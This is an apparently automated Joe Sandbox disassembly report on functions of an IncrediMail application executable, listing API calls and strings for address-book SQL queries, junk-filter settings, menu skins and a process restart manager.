Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1472#810$#1067#1323#1326#314#390#578#6735#6751MessagePost
String ID: /%s:%s$AutoReplyStateChanged$DataFolder$DataPathChanged$ImLpp.exe$IntervalChanged$JunkFilterStateChanged$RegInboxImportEnded$SkinChanged$UILanguage$UseHotkeysChanged$open
API String ID: 1572999768-137329099
Opcode ID: 6b828ae6282539138f79522115f925488937640146cdb1f7d79108164d2ba7d6
Instruction ID: 1c27c37b240c6990b44371d6a0854345ed2325c9bf6c8b7b5a04e8d21b32f5ad
Opcode Fuzzy Hash: 6b828ae6282539138f79522115f925488937640146cdb1f7d79108164d2ba7d6
Instruction Fuzzy Hash: C5C17871208300AFD324EF25D849E5BBBF8EB94700F44892EF595972A1DB78E845CF5A

Function 020C71E0 Relevance: 98.4, APIs: 46, Strings: 10, Instructions: 392COMMON

Download Yara Rule

APIs

#762.MFC80U(00000038,265105E4,?,?,?), ref: 020C7212

Strings

SELECT GroupID AS MemberID, Name AS MemberName, 2 AS MemberType%s FROM Groups%s, xrefs: 020C7509
SELECT ContactID AS MemberID, DisplayName AS MemberName, 1 AS MemberType%2!s! FROM ContactsWHERE (source in (%4!s!)) AND (Email , xrefs: 020C7457
SELECT ContactID AS MemberID, DisplayName AS MemberName, 1 AS MemberType%s FROM Contacts WHERE source in (%s) %s, xrefs: 020C74CF
UNION, xrefs: 020C7545
LIMIT %d, xrefs: 020C75B9
WHERE (IsFavorite = 1), xrefs: 020C74EC
AND IsFavorite = 1 , xrefs: 020C7418, 020C74AD
ORDER BY MemberName COLLATE NOCASE ASC, xrefs: 020C7586
ORDER BY MemberType ASC, Email COLLATE NOCASE ASC, xrefs: 020C757F
SELECT GroupID AS MemberID, Name AS MemberName, 2 AS MemberType%2!s! FROM GroupsWHERE (Name LIKE '%1!s!%%' ESCAPE'\' OR Name LIK, xrefs: 020C747D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #762
String ID: LIMIT %d$ AND IsFavorite = 1 $ORDER BY MemberName COLLATE NOCASE ASC$ORDER BY MemberType ASC, Email COLLATE NOCASE ASC$SELECT ContactID AS MemberID, DisplayName AS MemberName, 1 AS MemberType%2!s! FROM ContactsWHERE (source in (%4!s!)) AND (Email $SELECT ContactID AS MemberID, DisplayName AS MemberName, 1 AS MemberType%s FROM Contacts WHERE source in (%s) %s$SELECT GroupID AS MemberID, Name AS MemberName, 2 AS MemberType%2!s! FROM GroupsWHERE (Name LIKE '%1!s!%%' ESCAPE'\' OR Name LIK$SELECT GroupID AS MemberID, Name AS MemberName, 2 AS MemberType%s FROM Groups%s$UNION$WHERE (IsFavorite = 1)
API String ID: 4079807532-3357789799
Opcode ID: c8cb3d38d05ea1abd2c42a7186c201ae686c9b45ec26981b9dc0d7aa2fd8a5db
Instruction ID: 4bc5815c69f0a990e404da773ef803b4ac9f794d18b5f403b96e094945a2c64c
Opcode Fuzzy Hash: c8cb3d38d05ea1abd2c42a7186c201ae686c9b45ec26981b9dc0d7aa2fd8a5db
Instruction Fuzzy Hash: A80225755883809FD3A1DB24C888B9FFBE8BF95304F54890DE9CA83251DB74A948DB53

Function 020E1060 Relevance: 75.5, APIs: 38, Strings: 5, Instructions: 267COMMON

Download Yara Rule

APIs

Part of subcall function 020DE410: #6700.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EEBD1,000000FF), ref: 020DE44A
Part of subcall function 020DE410: #299.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EEBD1), ref: 020DE453
Part of subcall function 020DE410: #1479.MFC80U(?,00000000,?,?,00000001), ref: 020DE480

Part of subcall function 020C3CF0: #6700.MFC80U(265105E4,?,?,?,00000000,020EFC5A,000000FF,020D7EF1,?,00000000), ref: 020C3D2D
Part of subcall function 020C3CF0: #299.MFC80U(00000000,?,?,?,00000000,020EFC5A,000000FF,020D7EF1,?,00000000), ref: 020C3D36
Part of subcall function 020C3CF0: #1479.MFC80U(?,?,00000000,AddrBook.db3,AddrBook.db3,?,?,?,00000000,020EFC5A,000000FF,020D7EF1,?,00000000), ref: 020C3D7A

#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020EC546,000000FF,?,020E102B), ref: 020E10C7
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EC546), ref: 020E10F8
#578.MFC80U ref: 020E1129
#384.MFC80U ref: 020E1132
#384.MFC80U ref: 020E113E
#5083.MFC80U(000000FF,00000000,00000000), ref: 020E1152
#629.MFC80U(000000FF,00000000,00000000), ref: 020E1162
#629.MFC80U(000000FF,00000000,00000000), ref: 020E116E
#578.MFC80U(000000FF,00000000,00000000), ref: 020E117A
#578.MFC80U ref: 020E1187
#578.MFC80U ref: 020E1197
#5083.MFC80U(020EC546,00001001,00000000,000000FF,00000000,00000000), ref: 020E11B5
#629.MFC80U(020EC546,00001001,00000000,000000FF,00000000,00000000), ref: 020E11C5
#629.MFC80U(020EC546,00001001,00000000,000000FF,00000000,00000000), ref: 020E11D1
#578.MFC80U(020EC546,00001001,00000000,000000FF,00000000,00000000), ref: 020E11DD
#578.MFC80U ref: 020E11EA
#578.MFC80U ref: 020E11FA

Strings

:, xrefs: 020E1221
AddressBook.imb, xrefs: 020E1080, 020E10B3
Incredimail AB version 2.00, xrefs: 020E1250, 020E1279
AddressBook_5.2.imb, xrefs: 020E1115
AddressBook.im_, xrefs: 020E10E4

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#629$#1479#299#384#5083#6700
String ID: :$AddressBook.im_$AddressBook.imb$AddressBook_5.2.imb$Incredimail AB version 2.00
API String ID: 1303404557-2180357899
Opcode ID: debea0249179551d77788a6e803d7fab34ef08cfe1e5ea7595fcae200a04d586
Instruction ID: 52041e65dc0c1531e27d7597288ddfdf00397e97da202cc1c87907c41b46b9fd
Opcode Fuzzy Hash: debea0249179551d77788a6e803d7fab34ef08cfe1e5ea7595fcae200a04d586
Instruction Fuzzy Hash: 62B19DB1E40308EFDF05EBA4D844BEEFBB5AF59300F148159E516B7280EB346A49DB91

Function 020E2000 Relevance: 73.7, APIs: 38, Strings: 4, Instructions: 198COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,00000000,?,?,020EB635,000000FF,020E1BF3,265105E4,?,?,00000000), ref: 020E202B
#675.IMUTILSU(?,?,?,020EB635,000000FF,020E1BF3,265105E4,?,?,00000000), ref: 020E203C
#1432.IMUTILSU(?,?,?,020EB635,000000FF,020E1BF3,265105E4,?,?,00000000), ref: 020E2043
#6735.MFC80U(Identities\,?,?,?,020EB635,000000FF,020E1BF3,265105E4,?,?,00000000), ref: 020E2051
#1356.IMUTILSU(?,?), ref: 020E2066
#1356.IMUTILSU(?,Junk Filter,?,?), ref: 020E2075
#675.IMUTILSU(?,UnicodeFile,?,00000000,?,?,?,?,?,?,020EB635,000000FF,020E1BF3,265105E4,?), ref: 020E2091
#1428.IMUTILSU(?,UnicodeFile,?,00000000,?,?,?,?,?,?,020EB635,000000FF,020E1BF3,265105E4,?), ref: 020E2098
#578.MFC80U(?,UnicodeFile,?,00000000,?,?,?,?,?,?,020EB635,000000FF,020E1BF3,265105E4,?), ref: 020E20AB
#578.MFC80U ref: 020E20BD
#36.IMUTILSU(?,UnicodeFile,?,00000000,?,?,?,?,?,?,020EB635,000000FF,020E1BF3,265105E4,?), ref: 020E20DD
#310.MFC80U ref: 020E20EB
#675.IMUTILSU(?,00000000,00000000), ref: 020E20FD
#1438.IMUTILSU(?,00000000,00000000), ref: 020E2104
#1356.IMUTILSU(?,ApprovedSenders.dat,?,00000000,00000000), ref: 020E2113
#1474.IMUTILSU(?,020FA268,00000010,00000000,?,00000000,?,?,?,?,?,?,020EB635,000000FF,020E1BF3,265105E4), ref: 020E212C
#578.MFC80U(?,UnicodeFile,00000001), ref: 020E225D
#91.IMUTILSU ref: 020E226C
#578.MFC80U ref: 020E227A
#578.MFC80U ref: 020E228C

Strings

Identities\, xrefs: 020E2048
UnicodeFile, xrefs: 020E2087, 020E223A
ApprovedSenders.dat, xrefs: 020E210D
Junk Filter, xrefs: 020E206F

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#1356#675$#310$#1428#1432#1438#1474#6735
String ID: ApprovedSenders.dat$Identities\$Junk Filter$UnicodeFile
API String ID: 1364641681-303222839
Opcode ID: a5ae3da2c4fd6e3d4e975ca8bd885c1f54342819576873291a0b74e800da95e9
Instruction ID: d1d4d13e689c6bd1fdac8f47e6322518f9355b47ffa9993e09e20de507bd070d
Opcode Fuzzy Hash: a5ae3da2c4fd6e3d4e975ca8bd885c1f54342819576873291a0b74e800da95e9
Instruction Fuzzy Hash: 3171C3712483809FD754EB24DC88B9BF7E9BFD8704F040A1DFA8756190EB39A948DB52

Function 00417430 Relevance: 72.0, APIs: 35, Strings: 6, Instructions: 264COMMON

Download Yara Rule

APIs

#28.IMUTILSU(FC8A6036), ref: 0041745D
#2311.MFC80U(?,%s\%d,Custom 3D,?,FC8A6036), ref: 0041747C
#28.IMUTILSU ref: 00417489
#3391.MFC80U(0042645C,?,00425A68), ref: 004174A6
#675.IMUTILSU(00000000), ref: 004174AD
#1324.IMUTILSU(00000000), ref: 004174B4
#28.IMUTILSU(00000000), ref: 004174BF
#28.IMUTILSU(00000000), ref: 004174CD
#310.MFC80U(00000000), ref: 004174DB
#3391.MFC80U(FrontImage,?,00425A68), ref: 00417505
#675.IMUTILSU(00000000), ref: 0041750C
#1324.IMUTILSU(00000000), ref: 00417513
#3391.MFC80U(BgImage,?,00425A68,00000000), ref: 00417531
#675.IMUTILSU(00000000), ref: 00417538
#1324.IMUTILSU(00000000), ref: 0041753F
#3391.MFC80U(BackColor,?,00425A68,00000000), ref: 0041755D
#675.IMUTILSU(00000000), ref: 00417564
#1324.IMUTILSU(00000000), ref: 0041756B
#3391.MFC80U(Direction,?,00000000,00000000), ref: 00417585
#675.IMUTILSU(00000000), ref: 0041758C
#1453.IMUTILSU(00000000), ref: 00417593
#1355.IMUTILSU(00000001), ref: 004175CA
GetDesktopWindow.USER32 ref: 004175DC
#2366.MFC80U(00000000), ref: 004175E3
GetWindowRect.USER32(?,?), ref: 004175F3
SetRect.USER32(?,00000000,00000000,00000400,00000300), ref: 0041760A
#1343.IMUTILSU(?,00000000,00000000,00000000), ref: 0041766A
#1355.IMUTILSU(00000001,00000000), ref: 0041768F
#1355.IMUTILSU(00000001,00000000), ref: 004176B0
#1355.IMUTILSU(00000001,?,00000000), ref: 004176D6
#578.MFC80U ref: 0041770F
#83.IMUTILSU ref: 0041771E
#83.IMUTILSU ref: 0041772C
#83.IMUTILSU ref: 00417739
#83.IMUTILSU ref: 0041774A

Strings

Custom 3D, xrefs: 0041746D
BgImage, xrefs: 00417528
Direction, xrefs: 0041757C
FrontImage, xrefs: 004174FC
%s\%d, xrefs: 00417476
BackColor, xrefs: 00417554

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391#675$#1324#1355$RectWindow$#1343#1453#2311#2366#310#578Desktop
String ID: %s\%d$BackColor$BgImage$Custom 3D$Direction$FrontImage
API String ID: 4013616602-1290067811
Opcode ID: f48c888f4e042d70d1a3845ea898cf244feefc876b1c03b4dd9ab956e8566c5b
Instruction ID: 7e0ade552c098856d23773a815abf7257f3cdce5096c29590320f58025a3333c
Opcode Fuzzy Hash: f48c888f4e042d70d1a3845ea898cf244feefc876b1c03b4dd9ab956e8566c5b
Instruction Fuzzy Hash: AE916C71208340AFC304EB65D885DAFB7E8EF88744F54092DF68197291DB78ED45CBA6

Function 00418A50 Relevance: 70.2, APIs: 36, Strings: 4, Instructions: 203windowCOMMON

Download Yara Rule

APIs

#782.IMUTILSU(00000080,00000000), ref: 00418A8C
#2432.IMUTILSU(00000080,00000000), ref: 00418A93
#782.IMUTILSU(00000080,00000000), ref: 00418A9C
#2407.IMUTILSU(00000080,00000000), ref: 00418AA3
#19.IMLOOKU(00000080,00000000), ref: 00418ABF
CreatePopupMenu.USER32 ref: 00418ACC
#1274.MFC80U(00000000), ref: 00418AD7
#236.IMLOOKU(00000000,000001FA,00003AAE,00000000,00000000), ref: 00418AEE
#236.IMLOOKU(00000000,000001F5,00003AB0,00000000,00000000,000001FA,00003AAE,00000000,00000000), ref: 00418B05
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00418B1E
#236.IMLOOKU(00000000,000001F4,00003AB2,00000000), ref: 00418B32
#236.IMLOOKU(00000000,000001FB,00003AC0,00000000,00000000,000001F4,00003AB2,00000000), ref: 00418B49
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00418B5C
#236.IMLOOKU(00000000,000001FF,00003AE4,00000000), ref: 00418B70
#2357.IMUTILSU(00000000,000001FF,00003AE4,00000000), ref: 00418B7B
#236.IMLOOKU(00000000,00000200,00003AE5,00000000,00000000,000001FF,00003AE4,00000000), ref: 00418B96
#32.IMUTILSU(00000000,000001FF,00003AE4,00000000), ref: 00418B9F
#310.MFC80U(00000000,000001FF,00003AE4,00000000), ref: 00418BAD
#1689.IMUTILSU(FC8A6036), ref: 00418BC5
#3391.MFC80U(FC8A6036), ref: 00418BCE
AppendMenuW.USER32(?,00000001,000003FA,00000000), ref: 00418BE0
#236.IMLOOKU(00000000,000001F6,00003ABA,00000000), ref: 00418BF4
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00418C07
#236.IMLOOKU(00000000,000001FC,00003AB8,00000000), ref: 00418C1B
SetMenuDefaultItem.USER32(?,000001F4,00000000,00000000,000001FC,00003AB8,00000000), ref: 00418C2C
#762.MFC80U(000001D0), ref: 00418C37
#23.IMLOOKU ref: 00418C4E
#6735.MFC80U(MenuHighlight.png), ref: 00418C6E
#6735.MFC80U(MenuBorder.png), ref: 00418C85
#6735.MFC80U(MenuLeftTile.png), ref: 00418C9C
#6735.MFC80U(MenuBG.png), ref: 00418CB3
#1962.MFC80U(00000001,00000001), ref: 00418CC6
#1663.IMLOOKU(00000000,00000001,00000001), ref: 00418CD7
#578.MFC80U(00000000,00000001,00000001), ref: 00418CED
#87.IMUTILSU ref: 00418CFC
#68.IMLOOKU ref: 00418D0D

Strings

MenuBG.png, xrefs: 00418CAE
MenuLeftTile.png, xrefs: 00418C97
MenuBorder.png, xrefs: 00418C80
MenuHighlight.png, xrefs: 00418C63

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #236$Menu$#6735Append$#782$#1274#1663#1689#1962#2357#2407#2432#310#3391#578#762CreateDefaultItemPopup
String ID: MenuBG.png$MenuBorder.png$MenuHighlight.png$MenuLeftTile.png
API String ID: 2634483442-3057097864
Opcode ID: 4417fb35d952243a2413f0dd2a467fb64bb99aeaae744077a0710d1f414dc2d9
Instruction ID: 5f0401c306bebff8cf1f40db15206ffafe3499563ec61a7f2f763567fc0003cf
Opcode Fuzzy Hash: 4417fb35d952243a2413f0dd2a467fb64bb99aeaae744077a0710d1f414dc2d9
Instruction Fuzzy Hash: E6717470348380BBE224EB21DC47F9B7BD4AF94B44F90092DF6825A1D1DFA8A545C79B

Function 004068F0 Relevance: 64.9, APIs: 29, Strings: 8, Instructions: 154COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00406915
#314.MFC80U(00000000,FC8A6036), ref: 0040691F
#15.IMUTILSU ref: 00406933
#1359.IMUTILSU(?,IncMail.exe,00000001), ref: 0040694C
#1916.IMUTILSU(RestartManagerTray,*************** Before FireRestartManager*****************,RestartManagerTray,00000000,?,IncMail.exe,00000001), ref: 0040696A
#3391.MFC80U(?,?,?,00000000,FC8A6036), ref: 00406985
#1545.IMUTILSU(00000000,?,?,?,00000000,FC8A6036), ref: 00406990
OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,?,?,?,00000000,FC8A6036), ref: 004069A1
#2042.IMUTILSU(00000000,00004E20,000004FF,?,?,?,00000000,FC8A6036), ref: 004069B8
#1916.IMUTILSU(RestartManagerTray,*************** Process had been killed **************,RestartManagerTray,00000000,?,?,?,?,?,?,00000000,FC8A6036), ref: 004069DF
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,FC8A6036), ref: 004069E8

Part of subcall function 004025C0: #1916.IMUTILSU(RestartManagerTray,*************** Terminate process **************,RestartManagerTray,00000000), ref: 004025D2
Part of subcall function 004025C0: TerminateProcess.KERNEL32(?,000000FF), ref: 004025E1
Part of subcall function 004025C0: #1916.IMUTILSU(RestartManagerTray,*************** After Terminate process **************,RestartManagerTray,00000000), ref: 004025F8
Part of subcall function 004025C0: WaitForSingleObject.KERNEL32(?,00004E20), ref: 00402606
Part of subcall function 004025C0: #1916.IMUTILSU(RestartManagerTray,*************** After wait for process to be killed **************,RestartManagerTray,00000000), ref: 0040261D

#810.IMUTILSU(0000003D,00000001,00000000,00000000,?,?,?,00000000,FC8A6036), ref: 004069F4
#1326.IMUTILSU(0000003D,00000001,00000000,00000000,?,?,?,00000000,FC8A6036), ref: 004069FB
_time64.MSVCR80 ref: 00406A02
#675.IMUTILSU(00000000,LastRestartDate,00000000,?,?,?,?,00000000,FC8A6036), ref: 00406A17
#1426.IMUTILSU(00000000,LastRestartDate,00000000,?,?,?,?,00000000,FC8A6036), ref: 00406A1E
#675.IMUTILSU(00000000,ManagerRestart,00000001,00000000,LastRestartDate,00000000,?,?,?,?,00000000,FC8A6036), ref: 00406A2C
#1426.IMUTILSU(00000000,ManagerRestart,00000001,00000000,LastRestartDate,00000000,?,?,?,?,00000000,FC8A6036), ref: 00406A33
#1916.IMUTILSU(RestartManagerTray,*************** Restart IncMail.exe **************,RestartManagerTray,00000000,00000000,ManagerRestart,00000001,00000000,LastRestartDate,00000000,?,?,?,?,00000000,FC8A6036), ref: 00406A49
#6735.MFC80U(?,00000001,00000000,LastRestartDate,00000000,?,?,?,?,00000000,FC8A6036), ref: 00406A5D
#1359.IMUTILSU(?,IncMail.exe,00000001), ref: 00406A77
#3391.MFC80U(00000000,00000001), ref: 00406A91
#3391.MFC80U(00000000), ref: 00406A9A
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00406AA8
#578.MFC80U ref: 00406ABA
#578.MFC80U ref: 00406ACC
#578.MFC80U ref: 00406ADE
#74.IMUTILSU ref: 00406AF0
#6751.MFC80U(00000000,?), ref: 00406B1D

Strings

*************** Before FireRestartManager*****************, xrefs: 00406960
ManagerRestart, xrefs: 00406A25
RestartManagerTray, xrefs: 0040695B, 00406965, 004069D0, 004069DA, 00406A3A, 00406A44
*************** Process had been killed **************, xrefs: 004069D5
LastRestartDate, xrefs: 00406A0C
IncMail.exe, xrefs: 00406946, 00406A71
open, xrefs: 00406AA1
*************** Restart IncMail.exe **************, xrefs: 00406A3F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$#3391#578$#1359#1426#675Process$#1067#1326#1545#2042#314#6735#6751#810CloseExecuteHandleObjectOpenShellSingleTerminateWait_time64
String ID: *************** Before FireRestartManager*****************$*************** Process had been killed **************$*************** Restart IncMail.exe **************$IncMail.exe$LastRestartDate$ManagerRestart$RestartManagerTray$open
API String ID: 527024223-1504090263
Opcode ID: d9eccd7fa33d193377d26cb0e0bae644b2c1e3fc8ffc1f1fe402cb6cdbea012f
Instruction ID: d89196040dd4b57f16130a0a8a54d280ffbe789be5426b455ed760f5b406ed18
Opcode Fuzzy Hash: d9eccd7fa33d193377d26cb0e0bae644b2c1e3fc8ffc1f1fe402cb6cdbea012f
Instruction Fuzzy Hash: 5D5103B1344340ABD320EB24DD06F9AB7E4AF50B05F50042EF685A62D1DFBC9645C7AB

Function 0041A440 Relevance: 64.8, APIs: 43, Instructions: 251windowCOMMON

Download Yara Rule

APIs

#1194.MFC80U(?,FC8A6036), ref: 0041A46E
#678.IMUTILSU(?), ref: 0041A4A0
VariantClear.OLEAUT32(?), ref: 0041A4C0
#1383.IMUTILSU(?,00000000), ref: 0041A4D4
#6171.MFC80U(0000005C,?,00000000), ref: 0041A4E7
#310.MFC80U ref: 0041A4F1
#675.IMUTILSU(?,00000000), ref: 0041A502
#1372.IMUTILSU(?,00000000), ref: 0041A509
#280.MFC80U(?,?,00000000), ref: 0041A517
#1416.IMUTILSU(?,00000001), ref: 0041A52D
#6734.MFC80U(00426D1C), ref: 0041A53E

Part of subcall function 00415360: #6700.MFC80U(FC8A6036,?,?,?,?,?,0042049A,000000FF), ref: 00415394
Part of subcall function 00415360: #299.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153A1
Part of subcall function 00415360: #2896.MFC80U(?,?,?,?,?,0042049A,000000FF), ref: 004153B9
Part of subcall function 00415360: #3391.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153C2
Part of subcall function 00415360: #2896.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153CB
Part of subcall function 00415360: #3391.MFC80U(00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153D4
Part of subcall function 00415360: #1479.MFC80U(?,00000000,?,?,?,?,?,0042049A,000000FF), ref: 004153DC

#1656.IMUTILSU(00000000), ref: 0041A57F
#578.MFC80U(00000000), ref: 0041A58D
#578.MFC80U ref: 0041A59C
#578.MFC80U ref: 0041A5AA
#3391.MFC80U(?), ref: 0041A5B8
#3391.MFC80U(00000000), ref: 0041A5C3
#1675.IMUTILSU(00000000), ref: 0041A5CA
#3391.MFC80U ref: 0041A5DB
#1430.IMUTILSU(00000000), ref: 0041A5E2
#280.MFC80U(?,00000000), ref: 0041A5F2
#675.IMUTILSU ref: 0041A5FD
#1371.IMUTILSU ref: 0041A608
#675.IMUTILSU ref: 0041A60D
#828.IMUTILSU ref: 0041A614

Part of subcall function 00414D60: #14.IMUTILSU(FC8A6036), ref: 00414D8A
Part of subcall function 00414D60: #427.MFC80U(0000000A), ref: 00414D9D
Part of subcall function 00414D60: #513.IMUTILSU(?,00000000,0000000A), ref: 00414DB2
Part of subcall function 00414D60: #310.MFC80U(?,00000000,0000000A), ref: 00414DBB
Part of subcall function 00414D60: #310.MFC80U ref: 00414DCA
Part of subcall function 00414D60: #3017.MFC80U(?,?,?), ref: 00414DF6
Part of subcall function 00414D60: #3391.MFC80U(?,?,?), ref: 00414DFF
Part of subcall function 00414D60: #675.IMUTILSU(SSCE,UserLexPath,00000000), ref: 00414E10
Part of subcall function 00414D60: #1348.IMUTILSU(SSCE,UserLexPath,00000000), ref: 00414E17
Part of subcall function 00414D60: #578.MFC80U ref: 00414E6C
Part of subcall function 00414D60: #578.MFC80U ref: 00414E7B
Part of subcall function 00414D60: #664.MFC80U ref: 00414E8A
Part of subcall function 00414D60: #73.IMUTILSU ref: 00414E9B

#320.IMUTILSU ref: 0041A620
#3391.MFC80U ref: 0041A62E
#1430.IMUTILSU(00000000), ref: 0041A635
#496.MFC80U(00000001,00000003), ref: 0041A644
#685.IMUTILSU(?,00000000,?,?,00000001,00000003), ref: 0041A672
VariantClear.OLEAUT32(?), ref: 0041A68A
#310.MFC80U ref: 0041A6AC
#310.MFC80U ref: 0041A6BB
#1322.IMUTILSU(00003ACE,00000000), ref: 0041A6E0
#3391.MFC80U(?), ref: 0041A6F1
#2311.MFC80U(?,00000000), ref: 0041A6FD
#1220.MFC80U(00000000,00000002,00000000,00000000), ref: 0041A714
#578.MFC80U ref: 0041A732
#578.MFC80U ref: 0041A740
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0041A759
#578.MFC80U ref: 0041A768
#578.MFC80U ref: 0041A777
#578.MFC80U ref: 0041A789

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#3391$#310$#675$#1430#280#2896ClearVariant$#1194#1220#1322#1348#1371#1372#1383#1416#1479#1656#1675#2311#299#3017#320#427#496#513#6171#664#6700#6734#678#685#828MessagePost
String ID:
API String ID: 2198215701-0
Opcode ID: 296a30497a865151d4bde5ab23a96f3a9386208cc90366685cfc10442abce20c
Instruction ID: d0ced3a16a9c50f2d0d7ed5d862a2c363aa1334820763f6517a1feae031df14f
Opcode Fuzzy Hash: 296a30497a865151d4bde5ab23a96f3a9386208cc90366685cfc10442abce20c
Instruction Fuzzy Hash: 30A190712083409FC314EB24C849A9FBBF4EF99304F444A1DF586472A1EB75E949CB97

Function 00418DA0 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 198COMMON

Download Yara Rule

APIs

#1194.MFC80U(?), ref: 00418DFB

Part of subcall function 00417830: #1194.MFC80U(?,FC8A6036), ref: 0041785B
Part of subcall function 00417830: #6.IMNTUTILU ref: 004178B3
Part of subcall function 00417830: #67.IMNTUTILU(00000000), ref: 004178D2
Part of subcall function 00417830: #18.IMNTUTILU ref: 004178F9
Part of subcall function 00417830: VariantClear.OLEAUT32(?), ref: 0041790B

#310.MFC80U(?), ref: 00418E22
#310.MFC80U ref: 00418E31
#310.MFC80U ref: 00418E54
#4061.MFC80U(IPA,?), ref: 00418E6B
#1327.IMUTILSU(?,?,004265CC,IPA,?), ref: 00418E7F
#774.MFC80U(00000000), ref: 00418E91
#578.MFC80U ref: 00418EA0
#774.MFC80U(?), ref: 00418EAF
#310.MFC80U ref: 00418EB9
#4061.MFC80U(00426B14,?), ref: 00418ED0
